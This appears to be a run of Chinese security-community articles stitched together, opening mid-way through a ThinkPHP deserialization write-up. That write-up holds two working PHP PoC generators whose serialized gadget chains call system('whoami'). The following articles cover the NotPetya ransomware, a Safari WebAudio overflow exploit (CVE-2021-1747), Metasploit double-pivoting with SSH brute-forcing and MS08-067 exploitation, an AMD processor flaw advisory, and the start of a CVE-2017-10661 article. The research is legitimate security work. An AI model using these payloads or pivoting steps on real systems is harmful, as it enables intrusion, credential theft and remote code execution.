`think\process\pipes\Windows->__destruct()`->`think\process\pipes\Windows->__removeFiles()`->`file_exists()`->`think\model\Pivot->_toString()`->`think\model\Pivot->_toJson()`->`think\model\Pivot->_toArray()`->`think\Request->visible()`->`think\Request->__call`->`call_user_func_array()`->`think\Request->isAjax()`->`think\Request->param()`->`think\Request->input()`->`array_walk_recursive()`->`think\Request->filterValue()`->`call_user_func()`
**POC编写**
注：自 PHP 5.4.0 起，PHP 实现了代码复用的一个方法，称为 traits。Trait 不能通过它自身来实例化，通过在类中使用use
关键字，声明要组合的Trait名称。所以我们通过寻找找到了同时组合`model\concern\Conversion`和`model\concern\Attribute`类的`think\Model`类
而`think\Model`类又是抽象类，也是不能直接来实例化的，需要寻找它的继承类来实例化，来间接调用。最后找到了`think\model\Pivot`类
<?php
namespace think{
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = 'system';
$this->param = ['whoami'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax' => ''];
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = ['eas' => ['eas']];
$this->data = ['eas' => new Request()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
### 链条二
漏洞点在`think\model\concern\Attribute`中`getAttr`方法中的`$closure($value,
$this->data)`
POP链条的前部分触发点和 **链条一** 一样，进入`getAttr`方法
跟进`getAttr`方法，`$value`的值由`getData`方法返回值决定，由链条一我们可以知道`$value`可控，然后就是`$closure`是由`$this->withAttr[$fieldName]`赋值，`$this->withAttr`可控，`$fieldName`由`Loader::parseName($name)`赋值。
跟进`Loader::parseName`方法，只是简单的过滤匹配，所以`fieldName`也是可控的，即`$closure`可控
**完整POP链条**
`think\process\pipes\Windows->__destruct()`->`think\process\pipes\Windows->__removeFiles()`->`file_exists()`->`think\model\Pivot->_toString()`->`think\model\Pivot->_toJson()`->`think\model\Pivot->_toArray()`->`think\model\Pivot->getAttr()`->`$closure($value,
$this->data)`
**POC编写**
注：在php中如果传入多余的参数时，会被函数忽略。
<?php
namespace think{
abstract class Model{
private $data = [];
private $withAttr = [];
function __construct()
{
$this->withAttr = ['system' => 'system'];
$this->data = ['system' => 'whoami'];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
## 总结
往往一条比较长的反序列链条中，可以被触发的漏洞点不止一个。需要自己从`__destruct`方法开始一点点看过去。(方法比较笨，但不会错过每一个点)。当然每个人挖掘方式不一样，从`__destruct`开始是正着挖，有的师傅喜欢先定位危险函数如`call_user_func`，然后逆着挖。个人觉得正着挖比较好，逆着挖个人感觉对新手不太友好。 | 社区文章 |
# NotPetya勒索病毒分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
NotPetya是源自类似Petya的全新形式勒索病毒，可以将硬盘整个加密和锁死，从内存或者本地文件系统里提取密码。[源自于百度百科]
## 一、目录
* 1.目录
* 2.样本信息
* 3.行为分析
* 4.样本分析
* 5.技术总结
## 二、样本信息
* 1.样本名称：efegfeisjwi.exe
* 2.样本md5：71b6a493388e7d0b40c83ce903bc6b04
* 3.是否加壳：无壳
* 4.编译语言：vc++
* 5.样本来源：来自于网络收集
## 三、行为分析
行为分析：
## 四、样本分析
### 模块1：感染初始化
* 概括
* 提升权限，需要将进程权限提高到关机权限，调试权限，操作系统级权限
* 排除指定的安全软件进程
* 将装载器读入进程堆空间
### 模块2：隐匿自身
* 将自身复制到进程空间
* 设置堆的保护属性
* 卸载自身dll，删除dll文件，达到隐藏自身的目的
### 模块3：恶意破坏
* 使用调试权限，破坏MBR
* 搜索之前的文件是否存在，如果存在退出进程，否则重新创建新的
* 修改C盘前10个扇区内存
* 修改MBR设备文件
* 产生随机码并写入MBR
* 加密MBR数据，对MBR0x200字节进行xor 0x7操作
### 模块4：设置定时任务
* 获取shutdown.exe的路径，利用system权限创建定时任务，任务为重启，时间为在当前时间后1hour
### 模块5：获取IP表
* 复制本地计算机IP到IP地址表
* 将获取到的适配器和IP地址以及DHCP地址对应起来
* 判断系统是否是DHCP服务器
* 获取子网中的IP地址，并将IP放在IP表中
* 利用枚举出来的IP表，暴力链接目标IP的445和139端口，将可以利用IP保存起来
* 利用TCP节点表获取目标的IP
### 模块6：释放密码抓取程序
* 释放资源文件到临时目录
* 将CLSID作为管道名称创建管道，利用之前释放的资源文件获取用户密码，然后通过管道，交给后续远程登录机器。
* 创建刚刚释放的文件GetPasswd.exe进程。获取用户密码，然后与远程登录进程共享。
* 删除刚刚释放的文件，保证不被查杀
### 模块7：释放远程执行程序
* 释放PsExec文件
## 模块8：远程加载恶意dll
* 枚举网络资源，获取用户登陆凭证，收入密码表。创建网络连接，利用Psexec和wmic远程执行命令
* 枚举网络资源。
* 获取用户的登录凭证，排除TERMSRV，后面的字符就是允许保存计算机远程终端凭证
* 将IP表和登录凭据表对应
* 创建网络连接，检查之前释放的Psexec文件是否存在，不存在重新写入文件
* 利用Psexec远程执行恶意dll
* 利用wmic远程执行恶意dll
* 创建上传命令的进程
### 模块9：永恒之蓝漏洞传播
* 利用永恒之蓝和永恒浪漫传播
### 模块10：加密文件
* 理论上判断所有硬盘，使用RSA和AES加密。
* 遍历目录，除了C://windows目录不加密，加密后缀为如下：
<3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs>
<.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mai>
<l.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pv>
<i.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmd> <k.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip.>
* 根据文件大小，使用不同的加密策略
* 利用文件映射的方式使用AES加密方式进行文件加密
* 创建勒索提示信息README
### 加密过程
* 生成AES加密秘钥对
* 利用AES加密文件
* 导入内置的RSA公钥
* 利用RSA公钥加密AES秘钥，并导出
* 写入AES秘钥
### 模块11：清除日志
* 利用cmd调用wevtutil清除相关日志信息
### 模块12：诱发蓝屏
* 调用NtRaiseHardError诱发蓝屏
## 五、技术总结
### 隐匿自身
这一类勒索病毒(GrandCrab，NotPetya)都有着很强的隐匿手段，而且采用的并不是普通的隐匿手段(DLL注入)，而是将PE文件直接写入内存，然后修正导入表实现的。这样可以实现文件不落地，避免被查杀。
* 获取文件MZ头，并读取到进程空间
* 搜索重定位表
* 根据PE结构的相关知识，可得知`SectionHeader = *(_WORD *)(this + 20) + this + 24;// NtHeader`其实是获取节区头。
* 然后获取了节区的数目，`NumberOfSection = *(_WORD *)(this + 6); // NumberOfSection=NtHeader+6`
* 接着遍历节区，目的是为了获取reloc节区
* 卸载自身，将源文件写入全零，然后删除自身文件(此时代码在进程中执行)
* 接着修复导入函数地址表
* 最后跳转到新的函数入口点 | 社区文章 |
**作者：光年
公众号：[蚂蚁安全实验室](https://mp.weixin.qq.com/s/9dmQH4qIw95Gsx92wLSr6w)**
蚂蚁安全光年实验室从2020年4月份开始专注到 Apple 产品漏洞挖掘中，仅用了三个季度的时间，就累计拿下苹果47次致谢——
**致谢数排名2020年Apple漏洞致谢数全球第一** 。
47次漏洞致谢中，包含了系统库、浏览器、内核等多个维度层面，几乎都是高危漏洞，部分漏洞评分达到了“严重”级别，挖掘的数量和质量都处于全球领先位置。
2020年各大公司获得的苹果致谢次数排名
以往对苹果Safari浏览器的漏洞研究往往聚焦于DOM或者JS引擎，但是像Safari所使用的一些系统库，例如音频库，视频库，字体库等等很少受到关注，鲜有这些模块的漏洞在Safari中利用成功的案例。
部分原因是由于Safari内置一些缓解措施，导致这些模块中的漏洞很难单独利用，故而外界对这些模块的关注度较低。我们在对Safari的安全机制做了整体分析后判断，这些系统库中的洞是完全可以绕过Safari内置的缓解措施，从而控制Safari浏览器，攻击者进而可以在用户的机器上执行恶意代码，窃取浏览器cookie、历史记录、用户名密码等敏感信息。
我们在20年4月份左右开始投入到对这些系统库的漏洞挖掘当中，采用的是专家经验和Fuzz相结合的方式。光年实验室自研了AntFuzz引擎，该引擎是用rust语言编写，稳定性和性能与同类工具相比都有显著提升。
AntFuzz对当今主流的Fuzz方法体系进行了吸收融合，在易用性和接入能力上面也有很大的改善。在安全研究员筛选出一些可能的攻击面的基础上，AntFuzz会针对特定攻击面自动化生成高质量的Fuzz
Driver，再通过定制化的种子以及变异算法的选取，来进行高效漏洞挖掘。AntFuzz的这些关键特性支持我们取得了非常丰富的战果，挖掘出了大量高危漏洞。
在2020年天府杯中，光年实验室是全场唯一实现Safari full-chain
exploit的参赛团队（即从浏览器入口到获取用户目标机器上的最高权限）。在这个攻击中，我们仅依托发现的一个WebAudio漏洞就实现了Safari浏览器的远程代码执行，绕过了Safari的所有安全缓释措施。
该漏洞CVE编号为CVE-2021-1747，苹果官方已在最新的macOS系统、iOS系统中修复了该漏洞。这也是国内顶尖软硬件破解大赛中，首次通过系统库API来攻破Safari浏览器。下面我们会分享相关的漏洞利用技巧。
## 漏洞成因
漏洞存在于WebAudio模块当中，在解析CAF音频文件的时候会产生越界写。漏洞存在于ACOpusDecoder::AppendInputData函数中，(1)处有一个类似于边界检查的代码，但是最终被绕过了，(2)处调用memcpy函数，造成了越界写。
__int64 __fastcall ACOpusDecoder::AppendInputData(ACOpusDecoder *this, const void *a2, unsigned int *a3, unsigned int *a4, const
AudioStreamPacketDescription *a5)
{
...
if ( a5 )
{
v8 = a5->mDataByteSize;
if ( !a5->mDataByteSize || !*a4 || (v9 = a5->mStartOffset, (a5->mStartOffset + v8) > *a3) || this->buf_size ) // (1). 绕过这里的边界检查
{
result = 0LL;
if ( !v8 )
{
this->buf_size = 0;
LABEL_19:
v13 = 1;
v12 = 1;
goto LABEL_20;
}
goto LABEL_16;
}
if ( v9 >= 0 )
{
memcpy(this->buf, a2 + v9, v8); //（2）. 越界写发生的位置
v14 = a5->mDataByteSize;
this->buf_size = v14;
result = (LODWORD(a5->mStartOffset) + v14);
goto LABEL_19;
}
...
}
先简单介绍一下CAF文件格式，我这里画了一幅简化版的CAF文件格式图。CAF文件开头是File
Header，之后是由各种不同类型的Chunk组成，每个Chunk都有一个Chunk Header，记录了该Chunk的大小。
Desc Chunk主要存储了文件的一些元数据，Data Chunk里面存储了所有的Packet，Packet Table
Chunk则记录了每一个Packet的size。在解析的时候会先读取Packet Table Chunk，获取每一个Packet的大小，然后再去Data
Chunk里面读取。
为了分析这个漏洞，我特意编写了一个010 Editor模板来对CAF文件进行解析。
然后我们分析一下造成crash的CAF文件，用010 editor的模板文件跑一下，可以看到如下输出：
第一列是packet的序号，第二列是packet的size。可以看到，第114个packet的size是负数，可以推测程序在处理size为负的packet的时候出了问题。接下来就是如何利用这个漏洞了。
## 将越界写漏洞转化为任意地址写
这里我首先对相关代码做了逆向分析，被越界写的buffer是存在于ACOpusDecoder这个结构体的内部，这个结构体的字段如下所示：
被越界写的是buf字段，共有1500个字节，后面的buf_size，controled_field, log_obj, controled
这几个字段都是我们可以控制的。通过一定的调试加逆向，可以发现log这个对象在后面有用到，而且可以造成任意地址写。
接下来我们的目标有两个，一是走到任意地址写的位置，并且写的值要满足一定的条件；二是在造成任意地址写之后程序不会立马崩溃。第一步的话我们通过控制一些变量的值就可以做到。
第二步发生了点波折。任意地址写之后，会发现程序总会在opus_decode_frame中崩溃，按照常规的思路分析，如果造成了任意地址写就会导致崩溃，如果不崩溃，又没法造成任意地址写。但是我在逆向的过程中发现，opus_packet_parse_impl这个函数在解析packet的时候没有判断packet的长度，会越界解析到packet+4的位置。所以我构造了两个互相重叠的packet。
Packet 1是两个字节， 在解析的时候会越界解析到Packet 2中，把Packet 2中的0xf8当成是Packet
1中的TOC字段，最后绕过opus_decode_frame中会导致崩溃的逻辑，具体细节不表。
## 堆喷，攻破ASLR！
通常即使有了任意地址写的能力，如果程序的ASLR防护做的比较好的话，想要利用该漏洞还得找一个信息泄漏。但是Safari的堆的实现上有些问题，导致我们可以通过堆喷的手段在某个固定的地址喷上我们控制的值。
有了任意地址写，首先想到的就是覆盖JSArray中的length字段，或者是ArrayBuffer中的length字段，ArrayBuffer由于Safari的Gigacage机制，即使覆盖了length字段也无法越界读写到有用的内容，所以我最后选择了JSArray。
Safari中JSArray使用了Butterfly来存储JSArray的长度以及内容，如果覆盖掉其中一个JSArray的长度，那么就可以越界读写到下一个JSArray的内容，就可以构造fakeobj以及addrof两个原语，用于后续的漏洞利用。
我先尝试喷了2个G的内存，发现我的Butterfly有时喷射在 0x800000000 - 0x1000000000 之间，有时喷射在
0x1800000000 - 0x1c00000000
之间。Safari由于堆隔离机制，不同类型的对象在不同的堆，Butterfly是在Safari中一个叫做Gigacage的堆里面的，对Gigacage堆做了一些研究发现，Gigacage的基地址是可以预测的，Gigacage的类型有两种，一种可以存储Bufferfly，一种可以存储ArrayBuffer。
对于这两种类型的堆，Gigacage做了一个小小的随机化，一种情况是Bufferfly在上面，另一种情况是ArrayBuffer在上面。如下图所示。情况一下，从0x800000000开始，会随机生成一块0-4G的未映射的区域，之后就是Bufferfly的堆了。第二种情况是从0x1800000000开始，会随机生成一块0-4G的未映射的区域，之后就是Bufferfly的堆。无论是哪种情况，基地址的随机化程度都很小。
我一开始测试的时候是在16G内存的机器上，为了提高成功率，
喷了4个G，但是后来发现Safari对每个render进程占用的内存有监控，如果内存过大，会把他杀掉。所以最后我选择喷2.5个G，但是这会导致成功率有一定程度的下降。解决方法是多次触发任意地址写来提高成功率。
## 感谢多线程！在程序崩溃前让利用代码有足够的时间执行
下面这张时序图解释了整个漏洞利用过程，刚开始只有一个JS线程，我们先堆喷，并且在内存中构造音频文件，随后调用decodeAudioData函数，由于Safari是在单独的线程里解码音频的，所以这里会启动Audio
A线程，我们先假设堆喷后的内存布局是上面的情况1，那么Audio
A线程在解码音频文件的时候就会往0x80开头的地方写数据，JS线程在2s之后检测JSArray的length是否被改掉，如果被改掉，说明堆布局确实是情况1，接着就可以执行后续的exploit代码了，如果没有被改掉，说明堆布局是情况2，那么第二次调用decodeAudioData()函数，启动Audio
B线程解码音频，这次是往0x180开头的地址写数据。JS线程循环检查JSArray的length是否被改掉，如果成功，则调用执行后续的exploit，如果失败，说明整个利用失败。
此外还有一个问题需要解决，就是音频文件解码完之后，调用free函数对资源进行清理的时候，会触发崩溃。有几种方式可以解决这一问题，一种就是对损坏的堆进行修复，第二种就是让音频解码的时间非常非常的长，在解码结束之前我们的利用过程就结束了。
第一种由于需要对堆进行搜索，过于复杂，而且其实你要修复堆，其实也是需要一定的时间的，那其实还是要和第二种手段结合起来，那还不如直接粗暴一点，就选取第二种方法。我构造了一个600M的CAF文件，里面有七千多万个packet，要全部把这些packet解码完大概要花费50s左右的时间，完全足够我的漏洞利用了。
## Old school，任意地址读写原语到任意代码执行
当覆盖了JSArray的长度字段后，我们就可以构造fakeobj和addrof原语，然后就可以用这两个原语构造任意地址读写原语，再将shellcode写入JIT区域就可以任意代码执行了。这些都是属于浏览器利用的常规套路，对此感兴趣的读者可以阅读google的saelo写的文章《Attacking
JavaScript Engines》，在这里我们就不细细展开了。
## 尾声
光年实验室的 100 余处 Apple
漏洞（含47项致谢及50+项在途）的背后仅仅是两名安全研究员以及一台服务器。其中，高效高产的自动化漏洞挖掘平台AntFuzz居功至伟。
**蚂蚁安全光年实验室负责人曲和认为：自动化漏洞挖掘能力的建设与安全研究同学的培养同等重要。自动化能力通过实战不断加以演进，与安全研究同学两者相辅相成，实现漏洞挖掘的成果最大化，并在实战中加以证明。我们也将持续推进安全研究能力赋能变革，加速研究能力更好的连接基础业务。同时期待更多有志于从事漏洞研究、
Fuzzing 研究、程序分析方向的同学加入光年实验室，一起为基础设施提供更多安全保障。**
**蚂蚁安全光年实验室：**
隶属于蚂蚁安全实验室。通过对基础软件及设备的安全研究，达到全球顶尖破解能力，致力于保障蚂蚁集团及行业金融级基础设施安全。因发现并报告行业系统漏洞，上百次获得Google、Apple等国际厂商致谢。
扫码关注蚂蚁安全实验室微信公众号，干货不断！
* * * | 社区文章 |
# 【技术分享】多跳板渗透内部核心网络（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：pentest.blog
原文地址：<https://pentest.blog/explore-hidden-networks-with-double-pivoting/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：260RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
根据纵深防御的概念，一个保护重要服务的多层安全架构，在信息技术领域具有重要地位。基于此，在建设企业网络时，关键系统不能与其他系统在同一网络中。在这篇文章中，我们将结合实例，分析通过使用双网卡的跳板主机，攻击者如何无障碍的访问内部其他网络。
**什么是路由？**
确定不同网络中的设备如何相互通信的过程称为路由。通常由路由器来执行具体操作。路由器通过路由表将不同的数据包发送到各自的目的地。当然，路由功能不仅可以在设备中实现，比如路由器，也可以安装在操作系统中，在电脑中实现。
根据上图中的例子，为了在192.168.1.0/24和192.168.10.0/24两个网络之间进行通信，就需要一个路由表。根据路由器里面定义好的规则，数据需要从192.168.1.0/24源网络发到192.168.10.0/24目的网络中去。
网络数据包会经历如下过程：
1.这个IP地址是否在本地网络中？
如果在，直接发过去，如果不在，将数据包发送到网关。
2.当路由器收到数据包，首先查看自己的路由表
我有目的IP地址或目的网络的路由规则吗？如果有，将这个数据包路由到目的地址。如果没有，发送到下一网关。
3.其它的路由器重复同样的过程
4.数据包最后到达的路由器负责数据包退出互联网机制。
**什么是双网卡中转跳板主机？**
通常，在正常访问网络的过程中，通过已经被攻破的计算机，有些网络我们也不容易进去。如果已经控制的计算机连接着多个网络，那么网络隔离就没有什么用，因为如果控制了这个主机，把这个主机做为跳板，就可以横跨多个网络，只要有这个中转跳板，各种防护方法，都形同虚设。通过这种双网卡中转跳板方式，攻击者在受影响的系统上执行路由，就可以访问到隐藏的网络。对新发现的网络的每一个请求都通过这个数据中转跳板来传输，这就像是一个隧道。
如上图，有一个设备有两个网卡，能同时访问到192.168.1.0/24和192.168.10.0/24两个网络。在正常情况下，这两个网络之间没有访问权限，除非定义了路由规则。根据这种结构，这个双网卡的用户，能访问到在DMZ区的一些服务。
**攻破第一个数据中转跳板主机(双网卡主机)**
根据我们的攻击方案，我们首先攻破了RD系统，并返回了meterpreter SHELL ，同时RD能连接到DMZ区。
然后，我们通过信息收集，确定了RD系统有两个网卡。如下图所示：
攻击者已经获得了RD系统的权限，下一步用第二个网卡，攻击7.7.7.0/24网络。当然，对于攻击者，首先需要在RD上定义路由规则。
在Metasploit里，这非常简单。通过当前的meterpreter会话，输入下面的命令，就可以创建路由规则。
根据定义的路由规则，只要ID是2的meterpreter会话一直在运行，攻击者在Metasploit 框架中，就可以访问到7.7.7.0/24网络。
然后，用一些后渗透模块，如arp_scanner，扫描7.7.7.0/24网络中的存活主机，发现了7.7.7.0/24网络中存在多个存活主机。
如上图，发现名为JC的系统主机。
通常，到这一步，会想到下面的问题；像arp_scanner这样的后渗透扫描模块，功能还不够用，能用nmap这样的扫描工具吗？
**通过中转跳板，用nmap扫描远程主机**
为了实现这个目的，Metasploit中的路由配置必须是存活的，同时这个配置在socks4代理下也要发挥作用。这需要用到另一个metasploit模块。
使用metasploit中的socks4代理模块，如下图：
在ProxyChains
工具的帮助下，通过TOR、SOCKS4、SOCKS5、HTTP或HTTPS传输的任何TCP数据都可以路由到目的地。这个隧道技术可以使用多个代理服务器。
在/etc/proxychains.conf文件的最后一行，在这里要设置socks4 代理服务器信息。
在ProxyChains下执行nmap扫描是一个简单的过程，通过定义的代理，网络数据包会被传输到目的地。
根据扫描结果，目标系统中运行着SSH和HTTP服务，在对目标进行攻击前，我们介绍另一种数据路由技术–“端口转发”。
**端口转发**
端口转发是建立数据跳板的基本步骤。此时，攻击者跨网段，还没法直接访问到隐藏网络中的服务，因为还没有建立双向路由。我们知道如何到达目标系统，并发送一个请求，但是我们的请求包得不到回应，因为目标系统不知道怎么返回给我们。
基于这个原因，我们需要在本地开启一个端口，通过meterpreter会话，我们可以将本地的数据包发送到目的地，建立完整的连接。只要我们的meterpreter会话是存活的，这个路由就会一直存在。
有一点需要说明一下，我们用“run
autoroute”建立的路由只对Metasploit框架本身起作用。如果我们想用kali下的其他工具，就需要使用端口转发或proxychains工具，而我们在这篇文章中建立的多跳板，大数据时候是为kali下的其他工具准备的。
我们可以使用portfwd模块来建立端口转发，这是Metasploit下的一个后渗透模块。
前面已经讲到，在ProxyChains和Nmap的帮助下，我们知道7.7.7.20主机上存在HTTP服务，80端口是打开的，下面我们通过，建立端口转发，访问7.7.7.2主机的80端口。
如上图，输入上面的命令后，我们访问本地的2323端口，实际上就是在访问7.7.7.2主机的80端口。
通过“portfwd list”命令可以查看当前存活的转发规则：
在浏览器中访问7.7.7.20的80端口时，发现是一个“Eash File Sharing Web Server”服务。
**通过数据中转跳板进行SSH暴力破解**
从扫描结果，我们已经知道在7.7.7.20上运行着SSH服务，对SSH进行暴力破解是比较容易实现的。
使用SSH_enumusers模块就可以实现：
除了Metasploit框架中的SSH_enumusers模块，我们同样可以用kali下的Hydra工具，需要在ProxyChains下运行Hydra，所有通信数据都会经过数据中转跳板(被控的双网卡主机)。
如上图所示，破解出的SSH帐号是admin，密码是123456。同样，通过代理服务，用ProxyChains工具可以连接到远程的SSH服务。如下图：
**攻破第二个数据中转跳板主机(双网卡主机)**
根据上面nmap的扫描结果，7.7.7.20主机上存在两个漏洞，分别是MS08_067漏洞和“Easy File
Share”应用程序的BOF漏洞，两种方法都可以攻破目标主机，当然也可以通过上面的SSH。
通过MS08_067 + bind_tcp方式：
针对MS08_067漏洞，在Metasploit中有成熟的工具模块，该模块是“ms08_067_netapi”。要注意，在这里我们只能用bind_tcp载荷，因为我们没有定义双向路由，目标系统没法找到我们。但是我们可以找到目标主机，只要它开启一个端口能让我们连接就行，因此我们使用bind_tcp载荷。
bind_tcp和reverse_tcp的区别可以从下面的图中理解到：
如下，我们配置好参数，进行攻击：
通过“Easy File Share”BOF漏洞方式：
同样，需要设置为bind_tcp，Metasploit中有现成的漏洞利用模块，如下：
在这里，我们的攻击数据流如下图所示：
当我们攻破了7.7.7.20主机时，需要收集主机信息，发现该主机也是一个双网卡主机，就像RD主机一样，因此我们发现了第二个隐藏网络(8.8.8.0/24)。
继续收集信息，用arp_scanner扫描存活主机：
如上图，在8.8.8.0/24网络中发现4台主机。
同样，我们需要在JC系统上添加路由规则(至此，两个跳板主机上都分别添加了不同路由)。
**数据跳两次(双网卡主机)**
在第一波攻击中，我们已经建立了172.16.0.0/24网络到7.7.7.0/24网络的路由，而现在，我们在JC上收集信息时，又发现了一个网络(8.8.8.0/24)。
在当前的情况下，数据包从攻击者(172.16.0.20)发到JC主机(第二波攻破的主机)，数据首先要发到RD主机(第一波攻破的主机)，然后RD主机再将数据传送到JC主机。
如果攻击者(172.16.0.20)想将数据发送到8.8.8.0/24网络(第二个隐藏网络)的任何一个主机时，就必须建立一个新的路由规则。这主要是为了使用Metasploit框架以外的其他工具，我们必须新建一个socks4代理服务，用于连接两个跳板主机，并重新定义proxychains工具的配置文件。
例如，如果攻击者(172.16.0.20)要给8.8.8.9地址发送数据包，要经过以下两点：
RD：我不知道怎么访问到8.8.8.9，但我知道哪个系统能访问到它，我可以将数据发给它。
JC：我知道怎么将数据从7.7.7.0/24网络发送到8.8.8.0/24网络。
数据流如下图所示：
**牛逼的Proxychains工具**
Proxychains工具能连接代理服务，并可以将数据从攻击者发送到第二个隐藏网络中。当然，还需要设置一下，为了能访问到8.8.8.0/24网络，在攻击端，我们还需要创建一个新的socks4代理服务(第一波攻击时已经建立了一个)，不同的是，这次需要改一下端口(运行在不同端口上)，在这里我们改成1081，第一次建的端口是1080。
同时，在/etc/proxychains.conf中添加新的代理配置信息。通过激活动态链配置，确保能正确切换不同的代理服务。
通过一系列的配置，现在，用Proxychains工具通过多个跳板，就可以访问到8.8.8.0/24网络了，下面我们用nmap扫描一下8.8.8.9目标信息，如下图：
正如上图你所看到的，数据包穿过第一次代理服务，又经过了第二次代理服务，最终，到达了目的地。查看扫描结果，发现8.8.8.9上vsftpd对应的[版本存在漏洞](https://www.exploit-db.com/exploits/17491/)。
首先在Metasploit框架中设置好相关攻击参数，如下图，开始攻击：
**综述**
攻击者通过以下步骤，发现了2个不同的内部核心隐秘网络：
1.首先，攻击者攻破了RD主机，该主机和攻击机在同一个网络中。
2.然后，他了解到RD主机有2个网卡。
3.通过使用autoroute后渗透模块，在172.16.0.11上定义了一个路由规则。
4.攻击者对7.7.7.0/24网络执行ARP和NMAP扫描，发现了JC主机。
5.JC有两个不同的漏洞，分别是MS08_067和“Easy File Share”漏洞。
6.成功执行了MS08_067漏洞，得到了7.7.7.20的控制权。
7.收集JC主机信息，发现JC有2个网卡。
8.在7.7.7.20上添加了第二个路由。
9.对8.8.8.0/24网络执行ARP和NMAP扫描。
10.在名称为SK的8.8.8.9主机上发现vsftp漏洞。
11.结束。
正常情况下，虽然攻击者的系统只能访问他所在的网络，但是通过攻击，结果是他最终又成功访问了2个隐藏的网络。
**演示视频**
为了帮助大家更好学习、理解，我按照步骤做了下面的视频：
**防御措施**
1.包含多个网卡，并提供DMZ访问权限的系统，应该从现有网络架构中清除。
2.DMZ区的系统最好只能访问DMZ区。 | 社区文章 |
# AMD安全处理器多个潜在漏洞预警
##### 译文声明
本文是翻译文章，文章原作者 360cert，文章来源：https://cert.360.cn
原文地址：<https://cert.360.cn/warning/detail?id=dfc8f26b9d15566947f290ba95707349>
译文仅供参考，具体内容表达以及含义原文为准。
> 报告编号： B6-2018-031401
>
> 报告来源： 360-CERT
>
> 报告作者： 360-CERT
>
> 更新日期： 2018-03-14
## 前言
日前，360-CERT监测到CTS实验室发布了一份技术文档，宣称AMD处理器存在多个潜在漏洞。
目前AMD官方并未提供相关的公告，且文档中还未有具体的可复现的技术细节，360-CRT将对此事件保持关注。
## 公告信息
_声明：本节部分翻译自 <https://safefirmware.com/amdflaws_whitepaper.pdf> _
**AMD处理器严重漏洞公告**
**前言**
本文档旨在告知AMD处理器存在多个漏洞和可利用的制造商后门，包括AMD最新的 EPYC, Ryzen, Ryzen Pro 和 Ryzen
Mobile系列处理器。这些漏洞可能会大大增大相关企业、组织受到网络攻击的风险。
声明，本文档尽量不涉及可复现的攻击技术细节。目前，CTS已经通过保密渠道提供给了AMD厂商，部分有能力提供缓解方案的安全厂商，还有相关的美国监管机构。以下是我们关于相关安全问题，和它们所带来的用户和组织信息安全风险的描述。
**AMD处理器中的严重安全漏洞**
在过去一年中，AMD引入了一系列新技术来满足企业，工业，航空航天业中的关键应用。随着AMD业务在这些新行业市场的发展，其产品的安全也变得十分关键。
在过去6个月，CTS研究分析了AMD最新的Zen处理器，主要包括EPYC, Ryzen, Ryzen Pro和 Ryzen
Mobile处理器，相关的发现如下：
1. AMD安全处理器存在多处安全漏洞。AMD安全处理器，作为一个集成的协处理器，为AMD处理器提供安全守护，有独立的系统来负责相关安全操作，普遍存在于服务器、工作台等场景中。这多个安全漏洞可以让攻击者永久性的植入恶意代码到AMD安全处理器中，在实际攻击场景中，受害者/受害企业很难去检测到这样的恶意代码。
2. AMD安全处理器中存在一系列的安全漏洞，允许攻击者窃取网络凭证信息，即使目标系统使用了微软最新的凭证保护技术。这可以允许攻击者进一步渗透目标网络。
3. AMD EPYC安全处理器作为虚拟化加密的一个重要基础，但是一旦被攻击者植入恶意代码，它的安全性也就被击败了。
4. Ryzen芯片组中存在部分可被利用的后门。Ryzen芯片作为AMD的一个核心组件，外包给了一家名为ASMedia的公司进行生产。这些后门允许攻击这注入恶意代码到芯片中。该芯片组做为主板的一个中心组件，负责连接Ryzen处理和部分硬件设备，如WiFi和网卡等，这也让它成为一个理想的攻击点。
CTS认为使用AMD处理器的网络是存在一定风险的。这些漏洞我们已经能确认他足够让攻击者在渗透目标网络后，作为一个难以被安全软件检测到的后门攻击方式存在，不会因为机器重启或操作系统重装而消失，它们会长期驻留在目标系统的AMD安全处理器和芯片组上。
在我们看来，这些漏洞严重破坏了基本安全原则，这也让我们对AMD公司的安全实践、审计，和质量管控产生了一些疑虑。
## 参考链接
1. <https://amdflaws.com/>
2. <https://safefirmware.com/amdflaws_whitepaper.pdf> | 社区文章 |
原文来自安全客，作者：huahuaisadog@360 Vulpecker Team
原文链接：<https://www.anquanke.com/post/id/129468>
最近在整理自己以前写的一些Android内核漏洞利用的代码，发现了一些新的思路。
CVE-2017-10661的利用是去年CORE TEAM在hitcon上分享过的：<https://hitcon.org/2017/CMT/slide-files/d1_s3_r0.pdf>。他们给出的利用是在有CAP_SYS_TIME这个capable权限下的利用方式，而普通用户没这个权限。最近整理到这里的时候，想了想如何利用这个漏洞从0权限到root呢？没想到竟然还能有一些收获，分享一哈：
* CVE-2017-10661简单分析
* CAP_SYS_TIME下的利用
* pipe的TOCTTOU
* 思考下链表操作与UAF
* 0权限下的利用
#### CVE-2017-10661简单分析
关于CVE-2017-10661的分析和SYS_TIME下的利用，CORE TEAM的ppt中已经有比较清晰的解释。我这里再简单的用文字描述一遍吧。
